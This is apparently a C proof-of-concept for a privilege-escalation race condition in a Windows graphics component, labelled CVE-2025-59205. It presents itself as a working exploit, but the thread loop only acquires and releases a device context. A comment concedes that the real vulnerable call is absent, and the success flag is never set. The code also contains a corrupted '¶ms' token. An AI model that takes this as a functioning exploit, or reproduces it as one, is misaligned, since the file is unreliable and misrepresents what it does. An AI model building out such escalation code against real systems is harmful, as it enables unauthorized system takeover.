// CVE-2025-59205 - Microsoft Graphics Component Race Condition PoC
// Exploit concept: Trigger race condition in graphics component for privilege escalation
// WARNING: This is for educational and authorized testing purposes only
#include <windows.h>
#include <stdio.h>
// Thread parameter structure for race condition exploitation
typedef struct _RACE_PARAMS {
HANDLE hEvent1;
HANDLE hEvent2;
volatile LONG* counter;
BOOL* triggered;
} RACE_PARAMS, *PRACE_PARAMS;
// Worker thread that attempts to trigger the race condition
// by concurrently accessing the vulnerable graphics resource
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
PRACE_PARAMS params = (PRACE_PARAMS)lpParam;
// Wait for synchronization signal from main thread
WaitForSingleObject(params->hEvent1, INFINITE);
// Rapidly invoke graphics API that contains the race condition
// The vulnerable function performs check-then-use on shared resource
for (int i = 0; i < 10000; i++) {
// Call vulnerable graphics component API
// Example: GDI/DirectX operation that triggers the race
HDC hdc = GetDC(NULL);
// Trigger the race window by concurrent access
InterlockedIncrement(params->counter);
// Perform operation that should require elevated privileges
// but bypasses check due to race condition
// (Actual API call would be the specific vulnerable function)
ReleaseDC(NULL, hdc);
if (*params->triggered) {
break;
}
}
// Signal completion
SetEvent(params->hEvent2);
return 0;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-59205 PoC - Race Condition in Microsoft Graphics Component\n");
printf("[*] WARNING: For authorized testing only\n\n");
// Check current privilege level
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD cbSize = sizeof(elevation);
if (GetTokenInformation(hToken, TokenElevation, &elevation,
sizeof(elevation), &cbSize)) {
isElevated = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
if (isElevated) {
printf("[+] Already running with elevated privileges\n");
return 0;
}
printf("[*] Current process running with limited privileges\n");
printf("[*] Attempting to exploit race condition for privilege escalation...\n\n");
// Setup race condition parameters
volatile LONG counter = 0;
BOOL triggered = FALSE;
HANDLE hEvent1 = CreateEvent(NULL, TRUE, FALSE, NULL);
HANDLE hEvent2 = CreateEvent(NULL, TRUE, FALSE, NULL);
RACE_PARAMS params = { hEvent1, hEvent2, &counter, &triggered };
// Create multiple threads to increase race condition probability
const int NUM_THREADS = 8;
HANDLE hThreads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, ¶ms, 0, NULL);
}
// Signal all threads to start simultaneously
SetEvent(hEvent1);
// Wait for threads to complete
WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE);
// Cleanup
for (int i = 0; i < NUM_THREADS; i++) {
CloseHandle(hThreads[i]);
}
CloseHandle(hEvent1);
CloseHandle(hEvent2);
printf("[*] Exploit attempt completed. Final counter: %ld\n", counter);
printf("[*] Check if privilege escalation was successful\n");
return 0;
}